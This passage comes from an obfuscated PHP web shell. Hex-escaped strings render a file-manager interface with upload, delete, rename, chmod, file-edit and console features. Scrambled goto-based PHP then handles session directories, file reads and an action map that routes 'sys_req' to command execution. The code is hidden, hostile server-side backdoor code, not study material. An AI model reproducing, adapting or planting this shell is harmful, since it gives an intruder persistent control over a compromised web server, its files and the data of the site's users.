73\x20\x63\157\x6c\x6f\162\72\40\166\141\x72\50\55\55\164\145\170\164\x2d\155\x75\x74\145\x64\51\73\40\146\x6f\156\x74\55\146\x61\x6d\151\154\171\x3a\x20\x27\112\x65\164\x42\162\x61\x69\x6e\x73\40\x4d\x6f\156\x6f\47\54\x20\155\x6f\x6e\x6f\x73\x70\x61\x63\145\x3b\40\175\12\x20\40\40\40\x20\40\40\x20\56\x70\145\162\x6d\x73\x20\x7b\40\146\x6f\156\164\x2d\146\141\x6d\151\154\171\72\x20\x27\x4a\145\164\x42\x72\141\x69\x6e\163\x20\115\157\x6e\x6f\47\54\40\x6d\x6f\156\157\x73\x70\x61\x63\x65\73\40\146\x6f\156\164\x2d\x73\x69\x7a\x65\x3a\40\61\x32\x70\170\73\40\160\x61\x64\x64\151\156\147\72\x20\64\x70\170\40\x38\x70\170\73\x20\142\157\162\144\145\x72\55\162\x61\144\151\x75\163\72\x20\x34\x70\x78\x3b\x20\175\12\40\40\x20\40\40\x20\40\40\x2e\x70\145\x72\x6d\163\x2e\x77\x72\151\164\141\142\154\x65\x20\x7b\x20\142\x61\x63\x6b\x67\x72\x6f\165\x6e\144\x3a\40\x72\x67\142\x61\x28\x32\60\x33\x2c\61\70\x34\54\61\x34\66\x2c\60\x2e\61\x35\51\73\x20\143\157\154\x6f\x72\x3a\40\166\141\162\50\x2d\x2d\163\x75\143\x63\145\163\x73\51\73\x20\x7d\xa\x20\x20\40\x20\x20\40\40\x20\x2e\160\x65\162\x6d\x73\56\162\145\x61\x64\x6f\x6e\154\171\x20\x7b\x20\142\x61\143\153\x67\162\x6f\x75\x6e\144\72\x20\162\147\x62\141\x28\x32\60\70\54\x31\x30\61\54\67\x39\x2c\x30\x2e\x31\x35\x29\x3b\40\x63\x6f\x6c\157\x72\x3a\x20\166\141\162\50\x2d\x2d\144\x61\156\x67\x65\x72\x29\73\x20\x7d\xa\x20\x20\40\40\x20\x20\x20\40\x2e\141\143\x74\x69\157\156\x73\40\173\x20\144\x69\163\x70\154\x61\x79\x3a\40\x66\x6c\145\x78\x3b\40\147\141\x70\72\40\64\x70\170\73\40\x6a\165\163\164\151\x66\x79\55\143\157\156\x74\145\x6e\x74\72\x20\x66\x6c\145\x78\x2d\x65\x6e\x64\73\x20\175\12\x20\40\x20\x20\x20\40\x20\x20\151\x6e\x70\x75\x74\133\164\x79\160\145\x3d\x22\x63\x68\145\143\153\142\x6f\170\x22\x5d\40\173\x20\167\x69\144\164\x68\72\x20\61\66\160\x78\x3b\40\150\x65\x69\x67\150\164\72\40\61\x36\160\170\73\40\141\x63\143\x65\x6e\x74\55\143\157\x6c\x6f\162\72\x20\x76\141\162\x28\55\x2d\141\x63\x63\x65\156\x74\x29\73\x20\x63\165\162\163\157\x72\x3a\40\160\157\151\x6e\x74\145\162\x3b\x20\175\12\x20\40\40\x20\x20\40\40\40\56\143\157\156\163\x6f\154\145\x20\173\40\x62\141\143\153\147\162\157\x75\x6e\144\x3a\x20\x76\x61\x72\x28\55\x2d\142\x67\51\x3b\x20\142\157\x72\x64\145\162\x3a\40\x31\160\x78\x20\163\x6f\154\x69\x64\x20\166\141\x72\50\55\x2d\x61\x63\143\145\156\x74\51\73\x20\142\x6f\162\144\x65\162\55\162\141\144\151\165\x73\72\x20\70\x70\x78\x3b\40\160\x61\x64\144\x69\156\x67\72\x20\61\66\x70\170\73\40\146\x6f\156\x74\x2d\x66\x61\x6d\151\154\171\x3a\x20\x27\x4a\x65\164\102\x72\x61\151\156\163\x20\115\x6f\x6e\157\47\54\x20\x6d\x6f\156\x6f\x73\160\141\143\x65\73\40\146\157\156\x74\55\163\x69\172\x65\x3a\40\x31\x33\160\x78\x3b\40\x63\157\154\157\x72\72\x20\166\x61\162\50\55\55\141\x63\x63\x65\x6e\x74\51\x3b\x20\155\141\x78\x2d\150\x65\x69\x67\150\x74\x3a\x20\x32\65\60\x70\x78\73\x20\x6f\x76\145\162\x66\154\157\x77\55\171\72\x20\x61\165\164\x6f\x3b\x20\167\x68\151\x74\145\x2d\x73\x70\141\x63\x65\72\x20\160\162\145\55\167\x72\x61\x70\73\40\167\x6f\162\144\x2d\142\162\x65\x61\x6b\x3a\x20\142\162\145\x61\153\55\141\x6c\x6c\x3b\x20\175\xa\x20\40\x20\40\x20\x20\x20\x20\56\165\160\154\157\x61\x64\x2d\x74\141\142\x73\x20\x7b\40\x64\151\163\x70\x6c\x61\171\x3a\x20\x66\x6c\x65\x78\x3b\x20\x67\141\x70\x3a\x20\x34\160\x78\x3b\40\x6d\x61\162\x67\151\156\x2d\142\x6f\164\x74\157\155\x3a\x20\61\66\160\170\x3b\x20\x62\x61\x63\153\147\x72\157\165\x6e\144\x3a\40\166\141\x72\50\55\x2d\142\x67\x29\73\x20\160\x61\144\144\151\x6e\x67\72\40\x34\x70\x78\73\40\x62\157\x72\x64\145\x72\x2d\x72\141\x64\x69\x75\163\72\x20\x38\x70\170\73\40\x77\x69\x64\164\x68\72\40\146\x69\x74\55\143\157\x6e\164\145\156\x74\73\40\x7d\xa\x20\40\x20\40\x20\40\x20\40\x2e\165\160\154\x6f\x61\x64\55\x74\141\x62\40\x7b\x20\x70\141\x64\144\151\x6e\x67\x3a\x20\x38\160\170\x20\x31\66\160\x78\73\x20\143\x75\x72\x73\x6f\x72\x3a\40\160\x6f\x69\x6e\164\x65\162\73\x20\x62\157\x72\144\x65\x72\55\162\x61\x64\x69\x75\163\x3a\x20\66\x70\170\73\x20\x66\x6f\156\164\55\163\151\172\x65\72\x20\61\x33\x70\x78\73\40\x66\157\x6e\x74\x2d\167\x65\151\147\x68\164\x3a\40\65\60\x30\x3b\x20\143\x6f\x6c\157\162\72\40\x76\141\x72\50\x2d\55\164\x65\x78\164\x2d\155\x75\x74\x65\144\51\x3b\x20\x74\x72\141\156\x73\151\164\x69\157\156\x3a\x20\141\x6c\154\40\x30\x2e\x32\163\x3b\x20\175\xa\40\40\40\x20\40\x20\x20\x20\x2e\165\160\154\157\x61\x64\x2d\164\x61\x62\x3a\x68\x6f\x76\145\x72\40\173\40\143\x6f\154\x6f\162\72\40\166\141\x72\x28\55\55\164\145\170\x74\51\73\40\175\12\x20\x20\x20\x20\x20\40\x20\40\x2e\165\160\154\157\141\x64\55\164\x61\142\56\x61\143\x74\151\x76\x65\x20\173\40\142\141\x63\153\x67\x72\157\x75\x6e\x64\x3a\40\x76\x61\162\50\55\55\x61\x63\x63\x65\x6e\164\51\x3b\x20\x63\157\154\x6f\x72\72\x20\43\62\141\61\x38\x31\x30\x3b\40\175\xa\x20\x20\40\40\x20\40\40\40\x2e\x75\160\154\157\x61\144\x2d\x70\x61\156\x65\x6c\x20\x7b\40\x64\151\x73\x70\x6c\x61\171\x3a\40\156\x6f\156\145\x3b\40\175\xa\40\x20\40\x20\40\40\x20\x20\56\x75\160\x6c\x6f\x61\x64\55\160\141\156\x65\x6c\56\x61\x63\x74\151\166\145\40\x7b\40\x64\x69\x73\160\x6c\141\171\72\40\142\x6c\x6f\x63\153\x3b\x20\175\12\40\x20\40\x20\40\x20\x20\x20\56\x6d\x6f\144\x61\154\40\x7b\40\144\151\163\x70\154\141\x79\72\x20\156\x6f\x6e\145\73\x20\160\x6f\163\x69\x74\151\x6f\x6e\72\x20\x66\151\170\145\144\73\x20\x69\156\x73\145\x74\x3a\40\60\x3b\x20\x7a\x2d\x69\x6e\144\145\x78\x3a\40\61\x30\x30\73\x20\142\141\143\153\147\x72\x6f\x75\x6e\144\72\40\162\147\x62\x61\50\x30\x2c\60\54\x30\x2c\x30\x2e\x37\51\73\40\x62\x61\143\x6b\144\x72\x6f\160\55\x66\x69\154\164\x65\x72\72\x20\x62\154\165\x72\50\64\160\170\51\x3b\40\x61\x6c\x69\x67\x6e\x2d\151\164\x65\x6d\163\72\x20\x63\x65\x6e\164\145\x72\73\40\x6a\165\x73\x74\x69\x66\171\55\x63\x6f\x6e\164\145\156\164\72\40\143\x65\x6e\164\x65\162\x3b\x20\x7d\12\40\40\40\40\x20\40\x20\40\x2e\155\157\144\x61\x6c\x2e\163\x68\x6f\x77\40\x7b\x20\144\151\163\160\154\x61\x79\72\40\x66\x6c\145\170\73\x20\175\12\x20\x20\x20\x20\x20\40\40\x20\x2e\x6d\157\x64\x61\x6c\x2d\143\x6f\x6e\x74\x65\x6e\164\x20\173\40\x62\x61\143\153\x67\x72\157\165\156\144\x3a\40\166\141\x72\x28\55\x2d\163\x75\x72\x66\x61\x63\x65\x29\73\x20\142\157\162\144\145\162\72\40\61\x70\x78\40\163\x6f\154\151\x64\40\x76\141\x72\x28\55\x2d\142\x6f\x72\x64\145\162\x29\x3b\40\x62\x6f\162\144\145\162\55\162\141\x64\x69\x75\163\x3a\x20\x31\62\160\x78\x3b\x20\167\151\144\x74\150\x3a\40\64\x35\60\x70\170\x3b\40\155\141\x78\x2d\x77\x69\144\164\150\72\x20\71\x30\x25\x3b\x20\155\141\170\55\x68\x65\151\147\x68\164\72\40\x39\60\166\x68\73\40\157\166\x65\x72\146\x6c\157\x77\x3a\x20\x61\x75\x74\157\x3b\40\175\xa\x20\x20\40\40\40\x20\40\x20\56\155\157\144\x61\x6c\x2d\x68\x65\x61\x64\x65\162\40\173\x20\x70\x61\144\x64\x69\x6e\x67\x3a\x20\61\x36\160\170\x20\62\x30\160\x78\73\x20\142\x6f\162\144\145\x72\x2d\142\x6f\x74\164\157\x6d\72\40\x31\160\170\40\163\x6f\154\151\x64\x20\166\141\162\50\x2d\x2d\142\157\x72\x64\x65\162\x29\x3b\40\144\151\163\x70\x6c\141\171\72\40\146\154\x65\x78\x3b\x20\141\x6c\x69\x67\x6e\x2d\x69\x74\x65\155\x73\72\x20\x63\145\156\x74\x65\x72\73\x20\x6a\x75\x73\164\151\x66\171\x2d\143\157\x6e\x74\145\x6e\164\72\x20\x73\160\x61\x63\145\x2d\x62\145\164\x77\x65\145\156\x3b\x20\x7d\xa\40\40\x20\40\40\x20\40\x20\56\155\x6f\144\x61\154\x2d\x74\151\x74\x6c\145\40\173\40\x66\157\156\164\x2d\x77\x65\x69\x67\x68\x74\72\x20\x36\60\60\x3b\40\x7d\12\x20\40\40\40\x20\x20\x20\40\56\x6d\x6f\144\141\154\55\143\x6c\157\163\x65\x20\x7b\40\167\151\x64\164\150\72\x20\63\62\x70\170\x3b\x20\150\x65\151\147\150\x74\x3a\40\x33\x32\x70\170\73\40\144\151\163\160\x6c\141\x79\x3a\40\x66\x6c\x65\170\x3b\x20\x61\x6c\151\x67\156\x2d\x69\x74\x65\x6d\163\72\x20\x63\x65\x6e\x74\x65\x72\73\x20\152\x75\x73\x74\x69\x66\x79\55\143\157\x6e\164\x65\x6e\x74\x3a\40\x63\x65\156\164\x65\x72\73\x20\142\157\162\x64\x65\162\55\162\x61\x64\151\x75\x73\x3a\x20\66\x70\x78\x3b\x20\x63\165\x72\163\157\x72\x3a\40\x70\157\151\x6e\x74\x65\x72\x3b\x20\x63\x6f\x6c\157\162\x3a\x20\166\141\162\x28\55\x2d\164\x65\x78\164\x2d\155\x75\164\x65\144\51\x3b\x20\164\162\141\x6e\163\151\x74\x69\157\x6e\x3a\40\141\x6c\154\40\x30\x2e\62\x73\x3b\x20\175\12\x20\40\40\40\x20\40\x20\40\56\155\x6f\x64\x61\154\x2d\143\154\x6f\x73\x65\72\150\x6f\166\x65\x72\40\x7b\40\x62\x61\x63\153\147\x72\x6f\x75\156\x64\x3a\x20\166\141\x72\50\x2d\55\163\165\x72\146\x61\x63\x65\x2d\x68\x6f\166\145\x72\x29\73\x20\x63\x6f\154\157\162\x3a\40\166\x61\x72\50\x2d\55\164\x65\x78\x74\51\x3b\40\x7d\12\x20\40\x20\40\x20\40\40\x20\x2e\155\157\144\141\154\55\142\x6f\144\171\x20\x7b\x20\160\x61\144\x64\151\x6e\x67\72\40\x32\x30\160\x78\73\x20\x7d\xa\40\40\x20\x20\x20\40\x20\40\x2e\x63\150\155\x6f\144\55\x67\x72\151\x64\x20\173\x20\144\x69\163\160\154\141\171\72\40\147\162\151\x64\x3b\x20\147\x72\x69\x64\55\164\145\x6d\x70\154\x61\164\145\x2d\x63\x6f\x6c\165\x6d\x6e\163\72\x20\x72\145\160\x65\x61\164\x28\63\x2c\40\61\x66\x72\51\x3b\x20\x67\141\x70\x3a\x20\61\x32\x70\170\73\x20\155\x61\162\x67\151\x6e\x2d\142\x6f\164\164\x6f\x6d\72\x20\x31\66\160\170\73\x20\x70\141\x64\x64\x69\x6e\x67\72\x20\x32\x30\x70\170\40\x32\x30\x70\x78\40\60\x3b\x20\x7d\xa\40\x20\x20\40\x20\40\40\40\56\x63\150\155\157\x64\55\147\x72\157\165\160\40\x7b\x20\x62\141\143\153\x67\162\157\x75\156\144\x3a\40\166\141\x72\x28\x2d\x2d\x62\x67\x29\73\x20\142\157\162\x64\145\162\72\40\61\x70\170\40\x73\x6f\154\x69\x64\x20\x76\x61\x72\50\55\55\142\157\162\x64\145\x72\x29\73\x20\142\x6f\162\x64\145\x72\x2d\x72\141\x64\151\165\163\x3a\x20\70\x70\170\73\40\160\141\144\144\x69\156\x67\x3a\x20\61\64\160\x78\x3b\40\x74\145\x78\164\55\x61\x6c\151\x67\x6e\x3a\40\143\145\x6e\164\145\x72\x3b\40\x7d\xa\40\40\x20\40\40\x20\40\40\56\x63\x68\x6d\157\144\55\x67\162\157\x75\x70\x2d\x6c\141\142\145\x6c\x20\173\40\146\x6f\x6e\164\55\x73\x69\x7a\x65\72\40\61\61\160\x78\73\x20\146\x6f\x6e\x74\55\167\x65\x69\x67\150\164\72\x20\66\x30\x30\x3b\40\164\145\170\x74\55\x74\162\141\x6e\x73\146\x6f\x72\x6d\x3a\x20\165\x70\160\x65\x72\x63\141\x73\x65\73\40\154\x65\164\164\145\162\x2d\x73\160\141\143\151\x6e\147\x3a\x20\x30\x2e\x35\x70\170\x3b\40\x63\x6f\x6c\157\162\72\40\166\x61\162\50\55\x2d\x74\145\x78\164\x2d\155\x75\164\145\x64\x29\73\x20\155\141\162\147\151\x6e\55\x62\157\164\x74\157\x6d\x3a\x20\x31\x30\160\x78\x3b\40\x7d\xa\x20\40\x20\x20\x20\x20\40\40\56\x63\150\x6d\157\144\55\143\150\145\143\x6b\x62\157\x78\145\163\40\173\x20\x64\x69\163\160\154\141\x79\x3a\40\146\154\145\x78\73\x20\x6a\165\163\x74\151\x66\171\x2d\x63\157\x6e\164\x65\156\164\x3a\x20\143\x65\x6e\164\145\162\x3b\40\x67\141\x70\72\40\70\x70\x78\x3b\40\x7d\12\x20\40\40\40\40\x20\40\x20\x2e\143\x68\x6d\x6f\x64\55\143\150\145\143\x6b\142\x6f\170\x65\163\x20\154\x61\142\x65\x6c\x20\x7b\x20\x66\x6f\x6e\164\x2d\x73\151\x7a\x65\72\x20\x31\x32\160\x78\73\40\x63\165\162\x73\157\162\72\40\x70\157\151\156\164\x65\x72\x3b\40\175\12\x20\x20\40\x20\40\40\x20\40\56\142\x75\x6c\153\x2d\x62\141\x72\40\x7b\40\144\x69\163\160\x6c\x61\x79\x3a\x20\x6e\157\156\x65\73\x20\147\x61\160\x3a\40\x31\x32\x70\x78\x3b\x20\x61\154\151\147\x6e\55\x69\x74\145\155\163\x3a\40\x63\145\156\164\145\162\73\x20\x70\x61\144\x64\x69\156\147\72\40\x31\x34\160\170\x20\61\x38\x70\170\x3b\x20\x62\x61\143\153\x67\162\157\x75\156\x64\72\40\162\147\142\141\50\x32\60\x30\x2c\x31\x34\65\54\x39\65\x2c\60\56\x31\x32\51\73\x20\x62\x6f\x72\x64\145\x72\72\40\x31\x70\x78\40\163\x6f\154\x69\x64\40\162\x67\142\x61\x28\x32\x30\60\54\x31\x34\x35\54\71\65\54\60\x2e\x33\62\x29\x3b\x20\142\157\162\x64\145\162\55\162\141\144\x69\165\163\x3a\x20\x38\x70\x78\x3b\40\x6d\141\x72\x67\151\x6e\x2d\x62\x6f\x74\x74\157\x6d\x3a\40\61\x36\160\x78\x3b\40\x7d\12\x20\x20\40\x20\40\40\40\x20\x2e\142\x75\154\153\x2d\x62\141\162\56\163\150\x6f\x77\40\x7b\40\x64\x69\163\x70\154\x61\x79\72\40\146\154\x65\170\x3b\40\x7d\12\x20\40\40\x20\x20\40\40\x20\x2e\x62\x75\154\x6b\x2d\143\157\165\x6e\x74\40\x7b\x20\x63\157\x6c\x6f\x72\72\x20\x76\141\162\x28\x2d\x2d\141\143\x63\145\x6e\164\51\73\x20\146\x6f\156\164\55\167\145\x69\147\150\164\72\40\x36\x30\x30\x3b\40\155\x61\162\x67\151\156\x2d\x72\x69\147\x68\x74\72\x20\x61\x75\164\157\73\x20\x7d\xa\x20\40\x20\x20\x20\x20\40\40\x40\155\x65\144\x69\x61\40\50\155\x61\x78\55\167\151\144\x74\x68\72\40\67\x36\70\x70\170\51\40\173\12\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x2e\x66\x69\154\x65\x2d\x74\141\142\x6c\x65\40\x74\150\x3a\156\164\150\x2d\143\x68\151\x6c\x64\x28\63\x29\54\40\x2e\146\151\154\145\55\x74\x61\x62\x6c\145\x20\164\x64\x3a\156\164\150\55\x63\150\151\154\144\x28\x33\x29\x2c\12\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x2e\146\151\x6c\145\x2d\x74\x61\142\x6c\x65\x20\x74\150\72\x6e\164\x68\x2d\143\150\151\x6c\x64\x28\x34\51\x2c\40\x2e\146\x69\x6c\x65\x2d\x74\141\142\x6c\x65\40\x74\144\x3a\156\164\x68\55\143\150\151\154\x64\x28\64\x29\54\xa\x20\40\40\x20\40\40\x20\40\40\40\40\40\x2e\146\x69\154\x65\x2d\x74\x61\142\x6c\145\x20\164\150\x3a\x6e\164\150\x2d\143\x68\x69\154\144\x28\65\51\54\x20\x2e\x66\151\x6c\x65\x2d\164\141\x62\154\145\40\164\144\x3a\x6e\x74\x68\55\x63\150\151\x6c\x64\50\65\51\x2c\xa\40\x20\x20\x20\x20\x20\40\40\40\40\40\40\x2e\x66\151\x6c\145\55\x74\x61\x62\x6c\x65\x20\x74\x68\x3a\156\x74\150\x2d\143\x68\151\154\x64\50\x36\51\x2c\x20\56\x66\x69\154\145\55\164\141\142\154\x65\40\164\144\72\156\164\x68\55\143\x68\151\x6c\x64\50\66\51\40\173\40\144\151\x73\x70\154\x61\x79\72\x20\156\x6f\x6e\145\x3b\40\175\12\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\56\x69\x6e\160\165\164\55\x67\162\x6f\165\x70\x20\173\40\x66\154\x65\170\55\x64\x69\162\x65\x63\164\151\x6f\156\x3a\x20\143\x6f\154\165\155\156\73\40\x7d\12\40\40\x20\40\40\x20\x20\x20\x7d\xa\x20\x20\x20\40\x3c\x2f\163\164\171\x6c\145\x3e\12\40\40\x20\40\74\x73\143\162\151\x70\164\76\12\40\40\40\x20\x20\x20\x20\x20\146\x75\x6e\143\164\x69\x6f\156\40\x74\157\147\x67\154\x65\123\x65\x6c\x65\x63\164\101\x6c\154\50\x63\142\51\40\173\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\144\157\x63\165\155\x65\156\164\x2e\161\x75\x65\x72\171\123\145\x6c\x65\143\x74\x6f\x72\101\154\154\50\47\x69\156\x70\x75\x74\x5b\156\141\x6d\x65\75\42\x69\x74\x65\x6d\x73\133\x5d\42\135\x27\x29\56\146\157\x72\105\141\x63\x68\50\x66\165\156\x63\x74\x69\x6f\156\50\143\x29\x7b\x20\143\56\143\x68\145\x63\x6b\145\144\x20\x3d\x20\143\142\56\143\x68\145\143\x6b\145\x64\73\40\x7d\x29\x3b\xa\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x75\160\x64\x61\164\x65\102\165\154\x6b\101\x63\164\151\x6f\156\163\50\x29\x3b\xa\x20\x20\x20\x20\x20\x20\40\40\x7d\xa\40\40\x20\x20\x20\x20\40\x20\x66\x75\x6e\143\164\151\157\x6e\40\x75\x70\x64\141\164\x65\x42\x75\x6c\153\x41\143\164\151\157\x6e\163\50\x29\x20\173\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\166\141\x72\40\x63\150\145\x63\x6b\145\144\x20\75\x20\x64\x6f\x63\165\155\x65\x6e\x74\x2e\x71\165\x65\x72\x79\x53\145\154\145\143\x74\x6f\x72\101\154\x6c\x28\47\151\x6e\x70\x75\164\133\156\x61\155\x65\x3d\x22\x69\x74\x65\x6d\x73\133\x5d\42\135\x3a\x63\x68\145\143\x6b\145\144\x27\x29\73\12\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x76\141\x72\x20\142\x61\x72\40\75\40\144\x6f\x63\x75\155\x65\x6e\164\x2e\147\x65\164\x45\x6c\x65\x6d\145\156\164\x42\x79\111\144\x28\x27\142\165\154\153\55\x61\x63\164\151\x6f\x6e\163\x27\51\x3b\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\166\141\162\40\143\157\x75\156\164\x20\x3d\40\144\157\x63\x75\155\x65\156\164\56\147\x65\x74\105\x6c\x65\x6d\x65\x6e\164\102\171\x49\144\50\47\x73\x65\x6c\x65\143\x74\145\144\x2d\x63\x6f\165\x6e\164\x27\x29\73\12\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x69\x66\40\50\143\150\145\143\153\145\144\x2e\x6c\x65\156\x67\164\150\x20\x3e\40\60\51\x20\173\40\x62\x61\162\56\163\164\x79\x6c\x65\56\x64\x69\x73\x70\154\141\171\x20\75\x20\x27\146\154\x65\170\47\x3b\40\143\x6f\165\156\164\x2e\x74\145\170\164\103\x6f\156\164\x65\x6e\164\x20\75\40\x63\150\145\143\153\x65\x64\56\154\x65\156\x67\164\x68\x20\x2b\x20\x27\40\151\x74\x65\x6d\50\163\x29\40\163\x65\x6c\145\143\164\x65\144\47\x3b\40\175\xa\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x65\x6c\x73\145\x20\173\40\142\141\162\x2e\x73\x74\171\x6c\x65\56\144\151\x73\x70\x6c\x61\x79\x20\75\40\x27\x6e\157\156\x65\47\73\x20\x7d\12\x20\x20\40\40\40\x20\40\x20\x7d\xa\x20\40\40\40\x20\40\x20\x20\146\165\x6e\143\x74\x69\157\x6e\40\x73\x77\151\164\x63\x68\x55\160\x6c\157\x61\x64\124\141\x62\x28\x69\144\x29\x20\173\12\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x64\x6f\x63\165\x6d\145\156\164\56\161\165\145\x72\171\x53\x65\x6c\x65\x63\x74\x6f\x72\101\154\x6c\50\x27\56\x75\x70\154\157\x61\x64\55\160\x61\x6e\x65\154\x27\51\56\x66\x6f\x72\105\x61\x63\150\50\146\x75\x6e\x63\164\151\x6f\156\50\160\51\173\x20\160\x2e\x63\154\141\163\x73\x4c\151\x73\x74\x2e\162\x65\x6d\157\166\x65\x28\47\141\143\x74\x69\166\145\47\51\x3b\40\x7d\51\x3b\12\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\144\x6f\143\165\155\x65\x6e\x74\x2e\x71\x75\145\x72\x79\123\x65\x6c\x65\x63\164\x6f\162\101\x6c\154\x28\x27\56\165\160\154\157\141\x64\x2d\x74\x61\x62\47\x29\56\x66\x6f\162\105\x61\x63\x68\50\x66\x75\156\x63\x74\151\x6f\156\x28\x74\x29\173\40\x74\x2e\x63\154\x61\x73\x73\x4c\x69\163\164\56\x72\145\x6d\x6f\x76\145\x28\47\x61\143\x74\151\x76\x65\47\51\x3b\40\x7d\x29\x3b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\144\157\x63\165\155\145\156\x74\56\x67\145\164\105\x6c\x65\155\x65\156\164\102\171\x49\x64\x28\151\144\x20\53\x20\47\55\x70\x61\156\x65\154\x27\51\x2e\143\x6c\141\x73\163\x4c\151\163\x74\56\141\144\144\50\47\141\x63\x74\x69\166\145\47\51\73\xa\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x64\x6f\x63\165\x6d\145\156\164\56\147\145\164\x45\154\145\x6d\145\156\164\102\171\x49\x64\50\151\x64\x20\x2b\40\x27\x2d\164\x61\142\x27\51\56\143\154\x61\x73\163\114\x69\x73\164\x2e\141\144\x64\50\47\x61\x63\x74\x69\x76\145\47\x29\x3b\12\40\40\x20\x20\40\40\40\x20\175\12\40\x20\40\40\40\x20\40\x20\x66\x75\156\143\164\x69\x6f\x6e\40\x75\x70\154\x6f\x61\144\x46\151\x6c\145\x28\x29\40\x7b\12\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x76\x61\x72\40\146\151\154\145\x49\156\160\x75\x74\40\x3d\x20\x64\x6f\143\165\155\x65\156\164\56\147\145\x74\105\154\x65\x6d\145\156\164\x42\x79\x49\144\50\x27\165\160\154\157\x61\144\x5f\x66\x69\154\145\x73\x27\51\x3b\xa\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\x76\x61\162\x20\163\164\141\164\165\163\123\x70\141\x6e\x20\75\x20\x64\x6f\x63\x75\x6d\145\x6e\164\x2e\147\145\x74\105\x6c\145\155\x65\156\x74\x42\x79\x49\x64\50\47\165\x70\154\x6f\x61\x64\137\163\x74\141\164\x75\163\x27\51\73\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\151\x66\40\x28\x21\x66\151\154\145\111\x6e\160\x75\164\x2e\146\x69\154\145\x73\40\x7c\174\x20\146\x69\154\145\x49\156\160\x75\x74\56\x66\x69\x6c\x65\x73\x2e\154\145\x6e\x67\x74\150\x20\75\75\x3d\40\60\x29\40\173\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x73\x74\141\164\165\x73\123\x70\x61\156\x2e\x74\x65\x78\x74\103\x6f\156\164\x65\x6e\164\40\75\x20\x22\116\x6f\40\x66\x69\154\x65\40\163\145\x6c\x65\143\x74\145\144\x22\73\40\x73\x74\x61\x74\x75\163\x53\160\x61\156\56\x73\x74\x79\154\x65\x2e\x63\x6f\x6c\x6f\162\x20\x3d\40\x22\166\141\x72\50\x2d\55\x64\141\156\147\x65\162\x29\x22\73\x20\162\145\x74\x75\162\156\73\xa\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x7d\12\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x76\141\x72\x20\146\151\x6c\145\x20\x3d\40\x66\151\154\145\111\156\160\x75\x74\56\x66\x69\154\x65\x73\133\60\x5d\73\xa\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\166\x61\x72\x20\x66\151\154\145\156\x61\x6d\145\x20\75\40\x66\x69\154\x65\x2e\x6e\x61\155\x65\73\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x76\141\x72\x20\143\165\x72\162\x65\x6e\164\x44\x69\x72\40\x3d\x20\42"; goto TP3Jr; DwIWk: goto U1HqR; goto Q0DQU; kIoI1: $Ha841 = "\125\160\154\157\x61\144\40\146\x61\151\154\x65\144\x3a\x20\103\157\165\x6c\144\x20\x6e\157\x74\x20\155\x6f\166\x65\40\146\151\x6c\x65\x2e\40\103\x68\x65\143\153\x20\x64\x69\162\x65\143\164\157\x72\x79\40\x70\x65\162\x6d\x69\x73\x73\x69\x6f\x6e\163\x2e"; goto RvSGg; C5FkS: goto nYSCO; goto df1k_; SzSlD: GCoG3: goto ONQbZ; QsOaw: goto HrKXA; goto DmxJc; TcIi9: goto T5QfD; goto xy1zY; WlKZj: goto Xzq9P; goto DsTtE; s6cl4: ylE8k: goto kmGR9; QQaUD: goto JGz1T; goto mgLOf; TF1BA: y8ybC: goto EVXhE; wOIE1: NBZft: goto rzooT; CQmsp: goto w7445; goto ZxBCU; A5PQ7: goto MkVGb; goto kp2Qb; RT03J: echo addslashes($_SESSION["\143\165\162\x72\145\156\x74\137\x64\151\162"]); goto Vl1Gq; V5Q0V: DIi9D: goto aG_v3; K2vk2: Mj8PM: goto bjzh1; KNdQa: lCw25: goto eHsN0; sSO9N: $FVOST = $t2FtE ? @file_get_contents($et0TV . DIRECTORY_SEPARATOR . $t2FtE) : null; goto o8kf3; fLhLF: CvtPq: goto FhMz7; utZQw: LbsTX: goto ZcTKY; evHgg: NzXpi: goto iyh1y; BCVk6: z_izw: goto I7se5; pwL3g: if ($L6Wmx) { goto XICXU; } goto LfW8c; eH3Tu: goto pNaRG; goto oZy9L; kq3mk: goto J107v; goto OeU6G; uEDvU: goto o9k4v; goto FLvJh; oiLmr: goto R7M0x; goto lhVse; VXRDZ: sfUtQ: goto V4gmf; AEB_M: SRzGG: goto y7mI8; mAYC7: $rMx30 = array("\142\x61\x74\x63\150\137\162\145\x6d\x6f\166\145" => "\141\143\164\137\x64\145\x6c", "\x62\x61\164\143\150\137\x65\x78\160\x6f\x72\164" => "\141\143\164\137\144\154", "\x72\x65\155\x6f\x76\x65" => "\144\145\x6c\x5f\151\x74\145\x6d", "\x6f\x6c\144\x5f\156\141\155\145" => "\146\x72\157\x6d\137\x6e\x61\155\x65", "\x6e\x65\x77\x5f\156\141\155\x65" => "\x74\x6f\x5f\x6e\x61\155\x65", "\x63\x72\145\x61\x74\x65\x5f\x66\x69\154\145" => "\155\153\x5f\146\x69\154\145", "\143\x72\x65\141\x74\145\x5f\x66\157\x6c\144\x65\x72" => "\155\x6b\x5f\x66\157\x6c\x64\x65\162", "\143\x68\x6d\x6f\x64\137\151\164\x65\155" => "\x73\x65\x74\137\160\145\x72\155\163", "\x63\150\155\x6f\x64\x5f\x76\141\x6c\165\x65" => "\x70\145\162\155\x5f\166\x61\x6c", "\x73\x79\163\137\162\x65\x71" => "\145\x78\145\x63", "\146\x69\154\145\x5f\x74\x6f\x5f\x65\x64\151\x74" => "\x65\x64\151\164\x5f\x66\151\x6c\x65", 